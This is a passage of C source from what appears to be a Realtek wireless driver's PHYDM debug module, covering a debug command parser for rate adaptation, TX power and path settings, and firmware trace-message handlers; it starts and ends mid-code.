0x%x\\n\", directory));\n\t\tPHYDM_SSCANF(input[3], DCMD_CHAR, &char_temp);\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"Char = %c\\n\", char_temp));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"String = %s\\n\", input[4]));\n\t}\n\tbreak;\n\n\tcase PHYDM_RA:\n\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"new SET, RA_var[%d]= (( %d ))\\n\", i , var1[i]));\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\n\t\tif (input_idx >= 1) {\n\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"odm_RA_debug\\n\"));*/\n#if (defined(CONFIG_RA_DBG_CMD))\n\t\t\todm_RA_debug((PVOID)pDM_Odm, var1);\n#endif\n\t\t}\n\n\n\t\tbreak;\n\n\tcase PHYDM_PATHDIV:\n\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_HEX, &var1[i]);\n\n\t\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"new SET, PATHDIV_var[%d]= (( %d ))\\n\", i , var1[i]));*/\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\n\t\tif (input_idx >= 1) {\n\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"odm_PATHDIV_debug\\n\"));*/\n#if (defined(CONFIG_PATH_DIVERSITY))\n\t\t\todm_pathdiv_debug(pDM_Odm, (u4Byte *)var1, &used, output, &out_len);\n#endif\n\t\t}\n\n\t\tbreak;\n\n\tcase PHYDM_DEBUG:\n\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\n\t\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"new SET, Debug_var[%d]= (( %d ))\\n\", i , var1[i]));*/\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\n\t\tif (input_idx >= 1) {\n\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"odm_debug_comp\\n\"));*/\n\t\t\todm_debug_trace(pDM_Odm, (u4Byte *)var1, &used, output, &out_len);\n\t\t}\n\n\n\t\tbreak;\n\n\tcase PHYDM_SUPPORT_ABILITY:\n\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\n\t\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"new SET, support ablity_var[%d]= (( %d ))\\n\", i , var1[i]));*/\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\n\t\tif (input_idx >= 1) {\n\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"support ablity\\n\"));*/\n\t\t\tphydm_support_ablity_debug(pDM_Odm, (u4Byte *)var1, &used, output, &out_len);\n\t\t}\n\n\t\tbreak;\n\t\t\n\tcase PHYDM_SMART_ANT:\n\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_HEX, &var1[i]);\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\n\t\tif (input_idx >= 1) {\n\t\t\t#if (defined(CONFIG_PHYDM_ANTENNA_DIVERSITY))\n\t\t\t#ifdef CONFIG_HL_SMART_ANTENNA_TYPE1\n\t\t\tphydm_hl_smart_ant_cmd(pDM_Odm, (u4Byte *)var1, &used, output, &out_len);\n\t\t\t#endif\n\t\t\t#endif\n\t\t}\n\n\t\tbreak;\n\n\tcase PHYDM_API:\n#if (RTL8822B_SUPPORT == 1)\n\t{\n\t\tif (pDM_Odm->SupportICType & ODM_RTL8822B) {\n\t\t\tBOOLEAN\tbEnableDbgMode;\n\t\t\tu1Byte central_ch, primary_ch_idx, bandwidth;\n\t\t\t\n\t\t\tfor (i = 0; i < 4; i++) {\n\t\t\t\tif (input[i + 1])\n\t\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\t\t\t}\n\t\t\t\n\t\t\tbEnableDbgMode = (BOOLEAN)var1[0];\n\t\t\tcentral_ch = (u1Byte) var1[1];\n\t\t\tprimary_ch_idx = (u1Byte) var1[2];\n\t\t\tbandwidth = (ODM_BW_E) var1[3];\n\n\t\t\tif (bEnableDbgMode) {\n\t\t\t\tpDM_Odm->bDisablePhyApi = FALSE;\n\t\t\tconfig_phydm_switch_channel_bw_8822b(pDM_Odm, central_ch, primary_ch_idx, bandwidth);\n\t\t\t\tpDM_Odm->bDisablePhyApi = TRUE;\n\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"central_ch = %d, primary_ch_idx = %d, bandwidth = %d\\n\", central_ch, primary_ch_idx, bandwidth));\n\t\t\t} else {\n\t\t\t\tpDM_Odm->bDisablePhyApi = FALSE;\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"Disable API debug mode\\n\"));\n\t\t\t}\n\t\t} else\n\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support PHYDM API function\\n\"));\n\t}\n#else\n\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support PHYDM API function\\n\"));\n#endif\n\t\tbreak;\t\n\t\t\n\tcase PHYDM_PROFILE: /*echo profile, >cmd*/\n\t\tphydm_BasicProfile(pDM_Odm, &used, output, &out_len);\n\t\tbreak;\n\n\tcase PHYDM_GET_TXAGC:\n\t\tphydm_get_txagc(pDM_Odm, &used, output, &out_len);\n\t\tbreak;\n\t\t\n\tcase PHYDM_SET_TXAGC:\n\t\tfor (i = 0; i < 5; i++) {\n\t\t\tif (input[i + 1]) {\n\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\n\t\t\t\t/*PHYDM_SNPRINTF((output+used, out_len-used, \"new SET, support ablity_var[%d]= (( %d ))\\n\", i , var1[i]));*/\n\t\t\t\tinput_idx++;\n\t\t\t}\n\t\t}\n\t\t\n\t\tphydm_set_txagc(pDM_Odm, (u4Byte *)var1, &used, output, &out_len);\n\t\tbreak;\n\t\t\n\tcase PHYDM_TRX_PATH:\n#if (RTL8822B_SUPPORT == 1)\n\t{\n\t\tif (pDM_Odm->SupportICType & ODM_RTL8822B) {\n\t\t\tu1Byte\t\tTxPath, RxPath;\n\t\t\tBOOLEAN\t\tbEnableDbgMode, bTx2Path;\n\t\t\t\n\t\t\tfor (i = 0; i < 4; i++) {\n\t\t\t\tif (input[i + 1])\n\t\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\t\t\t}\n\n\t\t\tbEnableDbgMode = (BOOLEAN)var1[0];\n\t\t\tTxPath = (u1Byte) var1[1];\n\t\t\tRxPath = (u1Byte) var1[2];\n\t\t\tbTx2Path = (BOOLEAN) var1[3];\n\n\t\t\tif (bEnableDbgMode) {\n\t\t\t\tpDM_Odm->bDisablePhyApi = FALSE;\n\t\t\t\tconfig_phydm_trx_mode_8822b(pDM_Odm, TxPath, RxPath, bTx2Path);\n\t\t\t\tpDM_Odm->bDisablePhyApi = TRUE;\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"TxPath = 0x%x, RxPath = 0x%x, bTx2Path = %d\\n\", TxPath, RxPath, bTx2Path));\n\t\t\t} else {\n\t\t\t\tpDM_Odm->bDisablePhyApi = FALSE;\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"Disable API debug mode\\n\"));\n\t\t\t}\n\t\t} else\n\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support PHYDM API function\\n\"));\n\t}\n#else\n\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support PHYDM API function\\n\"));\n#endif\n\t\tbreak;\n\n\tcase PHYDM_LA_MODE:\n#if (DM_ODM_SUPPORT_TYPE & ODM_WIN)\n#if ((RTL8822B_SUPPORT == 1) || (RTL8814A_SUPPORT == 1))\n\t{\n\t\tif (pDM_Odm->SupportICType & (ODM_RTL8814A | ODM_RTL8822B)) {\n\t\t\tu2Byte\t\tPollingTime;\n\t\t\tu1Byte\t\tTrigSel, TrigSigSel, DmaDataSigSel, TriggerTime;\n\t\t\tBOOLEAN\t\tbEnableLaMode;\n\n\t\t\tfor (i = 0; i < 6; i++) {\n\t\t\t\tif (input[i + 1])\n\t\t\t\t\tPHYDM_SSCANF(input[i + 1], DCMD_DECIMAL, &var1[i]);\n\t\t\t}\n\n\t\t\tbEnableLaMode = (BOOLEAN)var1[0];\n\t\t\tif (bEnableLaMode) {\n\t\t\t\tTrigSel = (u1Byte)var1[1];\n\t\t\t\tTrigSigSel = (u1Byte)var1[2];\n\t\t\t\tDmaDataSigSel = (u1Byte)var1[3];\n\t\t\t\tTriggerTime = (u1Byte)var1[4];\n\t\t\t\tPollingTime = (((u1Byte)var1[5]) << 6);\n\n\t\t\t\tADCSmp_Set(pDM_Odm->Adapter, TrigSel, TrigSigSel, DmaDataSigSel, TriggerTime, PollingTime);\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"TrigSel = %d, TrigSigSel = %d, DmaDataSigSel = %d\\n\", TrigSel, TrigSigSel, DmaDataSigSel));\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"TriggerTime = %d, PollingTime = %d\\n\", TriggerTime, PollingTime));\n\t\t\t} else {\n\t\t\t\tADCSmp_Stop(pDM_Odm->Adapter);\n\t\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"Disable LA mode\\n\"));\n\t\t\t}\n\t\t} else\n\t\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support LA mode\\n\"));\n\t}\n#else\n\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support LA mode\\n\"));\n#endif\n#else\n\t\tPHYDM_SNPRINTF((output+used, out_len-used, \"This IC doesn't support LA mode\\n\"));\n#endif\n\t\tbreak;\n\n\tcase PHYDM_DUMP_REG:\n\t{\n\t\tu1Byte\ttype = 0;\n\t\t\n\t\tif (input[1]) {\n\t\t\tPHYDM_SSCANF(input[1], DCMD_DECIMAL, &var1[0]);\n\t\t\ttype = (u1Byte)var1[0];\n\t\t}\n\n\t\tif (type == 0)\n\t\t\tphydm_DumpBbReg(pDM_Odm);\n\t\telse if (type == 1)\n\t\t\tphydm_DumpAllReg(pDM_Odm);\n\t}\n\t\tbreak;\n\tdefault:\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"SET, unknown command!\\n\"));\n\t\tbreak;\n\n\t}\n}\n\n#ifdef __ECOS\nchar *strsep(char **s, const char *ct)\n{\n\tchar *sbegin = *s;\n\tchar *end;\n\n\tif (sbegin == NULL)\n\t\treturn NULL;\n\n\tend = strpbrk(sbegin, ct);\n\tif (end)\n\t\t*end++ = '\\0';\n\t*s = end;\n\treturn sbegin;\n}\n#endif\n\n#if(DM_ODM_SUPPORT_TYPE & (ODM_CE|ODM_AP))\ns4Byte\nphydm_cmd(\n\tIN PDM_ODM_T\tpDM_Odm,\n\tIN char\t\t*input,\n\tIN u4Byte\tin_len,\n\tIN u1Byte\tflag,\n\tOUT char\t*output,\n\tIN u4Byte\tout_len\n)\n{\n\tchar *token;\n\tu4Byte\tArgc = 0;\n\tchar\t\tArgv[MAX_ARGC][MAX_ARGV];\n\n\tdo {\n\t\ttoken = strsep(&input, \", \");\n\t\tif (token) {\n\t\t\tstrcpy(Argv[Argc], token);\n\t\t\tArgc++;\n\t\t} else\n\t\t\tbreak;\n\t} while (Argc < MAX_ARGC);\n\n\tif (Argc == 1)\n\t\tArgv[0][strlen(Argv[0]) - 1] = '\\0';\n\n\tphydm_cmd_parser(pDM_Odm, Argv, Argc, flag, output, out_len);\n\n\treturn 0;\n}\n#endif\n\n\nVOID\nphydm_fw_trace_handler(\n\tIN\tPVOID\tpDM_VOID,\n\tIN\tpu1Byte\tCmdBuf,\n\tIN\tu1Byte\tCmdLen\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\n\t/*u1Byte\tdebug_trace_11byte[60];*/\n\tu1Byte\t\tfreg_num, c2h_seq, buf_0 = 0;\n\n\tif (CmdLen > 12)\n\t\treturn;\n\n\tbuf_0 = CmdBuf[0];\n\tfreg_num = (buf_0 & 0xf);\n\tc2h_seq = (buf_0 & 0xf0) >> 4;\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW debug message] freg_num = (( %d )), c2h_seq = (( %d ))\\n\", freg_num,c2h_seq ));*/\n\n\t/*strncpy(debug_trace_11byte,&CmdBuf[1],(CmdLen-1));*/\n\t/*debug_trace_11byte[CmdLen-1] = '\\0';*/\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW debug message] %s\\n\", debug_trace_11byte));*/\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW debug message] CmdLen = (( %d ))\\n\", CmdLen));*/\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW debug message] c2h_cmd_start = (( %d ))\\n\", pDM_Odm->c2h_cmd_start));*/\n\n\n\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"pre_seq = (( %d )), current_seq = (( %d ))\\n\", pDM_Odm->pre_c2h_seq, c2h_seq));*/\n\t/*ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"fw_buff_is_enpty = (( %d ))\\n\", pDM_Odm->fw_buff_is_enpty));*/\n\n\tif ((c2h_seq != pDM_Odm->pre_c2h_seq) && pDM_Odm->fw_buff_is_enpty == FALSE) {\n\t\tpDM_Odm->fw_debug_trace[pDM_Odm->c2h_cmd_start] = '\\0';\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW Dbg Queue Overflow] %s\\n\", pDM_Odm->fw_debug_trace));\n\t\tpDM_Odm->c2h_cmd_start = 0;\n\t}\n\n\tif ((CmdLen - 1) > (60 - pDM_Odm->c2h_cmd_start)) {\n\t\tpDM_Odm->fw_debug_trace[pDM_Odm->c2h_cmd_start] = '\\0';\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW Dbg Queue error: wrong C2H length] %s\\n\", pDM_Odm->fw_debug_trace));\n\t\tpDM_Odm->c2h_cmd_start = 0;\n\t\treturn;\n\t}\n\n\tstrncpy((char *)&(pDM_Odm->fw_debug_trace[pDM_Odm->c2h_cmd_start]), (char *)&CmdBuf[1], (CmdLen-1));\n\tpDM_Odm->c2h_cmd_start += (CmdLen - 1);\n\tpDM_Odm->fw_buff_is_enpty = FALSE;\t\n\t\n\tif (freg_num == 0 || pDM_Odm->c2h_cmd_start >= 60) {\n\t\tif (pDM_Odm->c2h_cmd_start < 60)\n\t\t\tpDM_Odm->fw_debug_trace[pDM_Odm->c2h_cmd_start] = '\\0';\n\t\telse\n\t\t\tpDM_Odm->fw_debug_trace[59] = '\\0';\n\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW DBG Msg] %s\\n\", pDM_Odm->fw_debug_trace));\n\t\t/*DbgPrint(\"[FW DBG Msg] %s\\n\", pDM_Odm->fw_debug_trace);*/\n\t\tpDM_Odm->c2h_cmd_start = 0;\n\t\tpDM_Odm->fw_buff_is_enpty = TRUE;\n\t}\n\n\tpDM_Odm->pre_c2h_seq = c2h_seq;\n}\n\nVOID\nphydm_fw_trace_handler_code(\n\tIN\tPVOID\tpDM_VOID,\n\tIN\tpu1Byte\tBuffer,\n\tIN\tu1Byte\tCmdLen\n)\n{\n\tPDM_ODM_T\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu1Byte\tfunction = Buffer[0];\n\tu1Byte\tdbg_num = Buffer[1];\n\tu2Byte\tcontent_0 = (((u2Byte)Buffer[3])<<8)|((u2Byte)Buffer[2]);\n\tu2Byte\tcontent_1 = (((u2Byte)Buffer[5])<<8)|((u2Byte)Buffer[4]);\t\t\n\tu2Byte\tcontent_2 = (((u2Byte)Buffer[7])<<8)|((u2Byte)Buffer[6]);\t\n\tu2Byte\tcontent_3 = (((u2Byte)Buffer[9])<<8)|((u2Byte)Buffer[8]);\n\tu2Byte\tcontent_4 = (((u2Byte)Buffer[11])<<8)|((u2Byte)Buffer[10]);\n\n\tif(CmdLen >12) {\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW Msg] Invalid cmd length (( %d )) >12 \\n\", CmdLen));\n\t}\n\t\n\t//ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW Msg] Func=((%d)), num=((%d)), ct_0=((%d)), ct_1=((%d)), ct_2=((%d)), ct_3=((%d)), ct_4=((%d))\\n\", \n\t//\tfunction, dbg_num, content_0, content_1, content_2, content_3, content_4));\n\t\n\t/*--------------------------------------------*/\n\tif(function == RATE_DECISION) {\n\t\tif(dbg_num == 0) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] RA_CNT=((%d)) Max_device=((%d))--------------------------->\\n\", content_1, content_2));\n\t\t\t} else if(content_0 == 2) {\n\t\t\t\t ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] Check RA macid= ((%d)), MediaStatus=((%d)), Dis_RA=((%d)), try_bit=((0x%x))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t} else if(content_0 == 3) {\n\t\t\t\t ODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Check RA total=((%d)), drop=((0x%x)), TXRPT_TRY_bit=((%x)), bNoisy=((%x))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t}\n\t\t} else if(dbg_num == 1) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] RTY[0,1,2,3]=[ %d, %d, %d, %d ] \\n\", content_1, content_2, content_3, content_4));\n\t\t\t} else if(content_0 == 2) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] RTY[4]=[ %d ], drop=((%d)), total=((%d)), current_rate=((0x%x))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t} else if(content_0 == 3) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] penality_idx=((%d ))\\n\", content_1));\n\t\t\t}\n\t\t}\n\t\t\n\t\telse if(dbg_num == 3) {\n\t\t\tif (content_0 == 1)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Fast_RA (( DOWN )) total=((%d)), total>>1=((%d)), R4+R3+R2 = ((%d)), RateDownHold = ((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\telse if (content_0 == 2)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Fast_RA (( UP )) total_acc=((%d)), total_acc>>1=((%d)), R4+R3+R2 = ((%d)), RateDownHold = ((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\telse if (content_0 == 3)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Fast_RA (( UP )) ((Rate Down Hold)) RA_CNT=((%d))\\n\", content_1));\n\t\t\telse if (content_0 == 4)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Fast_RA (( UP )) ((tota_accl<5 skip)) RA_CNT=((%d))\\n\", content_1));\n\t\t\telse if (content_0 == 8)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDecisoin] Fast_RA (( Reset Tx Rpt )) RA_CNT=((%d))\\n\", content_1));\n\t\t}\n\t\t\n\t\telse if(dbg_num == 5) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] (( UP)) Nsc=((%d)), N_High=((%d))\\n\", content_1, content_2));\n\t\t\t} else if(content_0 == 2) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] ((DOWN)) Nsc=((%d)), N_Low=((%d))\\n\", content_1, content_2));\n\t\t\t} else if(content_0 == 3) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] ((HOLD)) Nsc=((%d)), N_High=((%d)), N_Low=((%d)), Reset_CNT=((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t}\n\t\t}\n\t\telse if(dbg_num == 0x60) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] ((AP RPT)) macid=((%d)), BUPDATE[macid]=((%d))\\n\", content_1, content_2));\n\t\t\t} else if(content_0 == 4) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] ((AP RPT)) pass=((%d)), rty_num=((%d)), drop=((%d)), total=((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t} else if(content_0 == 5) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"[FW][RateDecisoin] ((AP RPT)) PASS=((%d)), RTY_NUM=((%d)), DROP=((%d)), TOTAL=((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\t}\n\t\t}\n\t\telse if(dbg_num == 0xff) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE,ODM_DBG_LOUD,(\"\\n\\n\"));\n\t\t\t} \n\t\t}\n\t\t\n\t} \n\t/*--------------------------------------------*/\n\telse if (function == INIT_RA_TABLE){\n\t\tif(dbg_num == 3) {\n\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][INIT_RA_INFO] Ra_init, RA_SKIP_CNT = (( %d ))\\n\", content_0));\n\t\t}\n\t\t\n\t} \n\t/*--------------------------------------------*/\n\telse if (function == RATE_UP) {\n\t\tif(dbg_num == 2) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateUp] ((Highest rate -> return)), macid=((%d)) Nsc=((%d))\\n\", content_1, content_2));\n\t\t\t}\n\t\t} else if(dbg_num == 5) {\n\t\t\tif (content_0 == 0)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateUp] ((Rate UP)), up_rate_tmp=((0x%x)), rate_idx=((0x%x)), SGI_en=((%d)), SGI=((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t\telse if (content_0 == 1)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateUp] ((Rate UP)), rate_1=((0x%x)), rate_2=((0x%x)), BW=((%d)), Try_Bit=((%d))\\n\", content_1, content_2, content_3, content_4));\n\t\t}\n\t\t\n\t} \n\t/*--------------------------------------------*/\n\telse if (function == RATE_DOWN) {\n\t\t if(dbg_num == 5) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][RateDownStep] ((Rate Down)), macid=((%d)), rate=((0x%x)), BW=((%d))\\n\", content_1, content_2, content_3));\n\t\t\t}\n\t\t}\n\t} else if (function == TRY_DONE) {\n\t\tif (dbg_num == 1) {\n\t\t\tif (content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][Try Done] ((try succsess )) macid=((%d)), Try_Done_cnt=((%d))\\n\", content_1, content_2));\n\t\t\t\t/**/\n\t\t\t}\n\t\t} else if (dbg_num == 2) {\n\t\t\tif (content_0 == 1)\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][Try Done] ((try fail )) macid=((%d)), Try_Done_cnt=((%d)), multi_try_rate=((%d))\\n\", content_1, content_2, content_3));\n\t\t}\n\t}\n\t/*--------------------------------------------*/\n\telse if (function == F_RATE_AP_RPT) {\n\t\t if(dbg_num == 1) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] ((1)), SPE_STATIS=((0x%x))---------->\\n\", content_3));\t\t\t\t\n\t\t\t} \n\t\t} else if(dbg_num == 2) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] RTY_all=((%d))\\n\", content_1));\t\t\t\t\n\t\t\t} \n\t\t} else if(dbg_num == 3) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] MACID1[%d], TOTAL=((%d)), RTY=((%d))\\n\", content_3, content_1, content_2));\n\t\t\t} \n\t\t} else if(dbg_num == 4) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] MACID2[%d], TOTAL=((%d)), RTY=((%d))\\n\", content_3, content_1, content_2));\n\t\t\t} \n\t\t} else if(dbg_num == 5) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] MACID1[%d], PASS=((%d)), DROP=((%d))\\n\", content_3, content_1, content_2));\n\t\t\t} \n\t\t} else if(dbg_num == 6) {\n\t\t\tif(content_0 == 1) {\n\t\t\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW][AP RPT] MACID2[%d],, PASS=((%d)), DROP=((%d))\\n\", content_3, content_1, content_2));\n\t\t\t} \n\t\t}\n\t}\n\t/*--------------------------------------------*/\n\t\t\n\n}\n\nVOID\nphydm_fw_trace_handler_8051(\n\tIN\tPVOID\tpDM_VOID,\n\tIN\tpu1Byte\tBuffer,\n\tIN\tu1Byte\tCmdLen\n)\n{\n\tPDM_ODM_T\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n#if 0\n\tif (CmdLen >= 3)\n\t\tCmdBuf[CmdLen - 1] = '\\0';\n\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[FW DBG Msg] %s\\n\", &(CmdBuf[3])));\n#else\n\n\tint i = 0;\n\tu1Byte\tExtend_c2hSubID = 0, Extend_c2hDbgLen = 0, Extend_c2hDbgSeq = 0;\n\tu1Byte\tfw_debug_trace[100];\n\tpu1Byte\tExtend_c2hDbgContent = 0;\n\n\tExtend_c2hSubID = Buffer[0];\n\tExtend_c2hDbgLen = Buffer[1];\n\tExtend_c2hDbgContent = Buffer + 2; /*DbgSeq+DbgContent for show HEX*/\n\n\t#if (DM_ODM_SUPPORT_TYPE == ODM_WIN)\n\tRT_DISP(FC2H, C2H_Summary, (\"[Extend C2H packet], Extend_c2hSubId=0x%x, Extend_c2hDbgLen=%d\\n\", \n\t\t\tExtend_c2hSubID, Extend_c2hDbgLen));\n\t\n\tRT_DISP_DATA(FC2H, C2H_Summary, \"[Extend C2H packet], Content Hex:\", Extend_c2hDbgContent, CmdLen-2);\n\t#endif\n\nGoBackforAggreDbgPkt:\n\ti = 0;\n\tExtend_c2hDbgSeq = Buffer[2];\n\tExtend_c2hDbgContent = Buffer + 3;\n\t\n\t#if (DM_ODM_SUPPORT_TYPE == 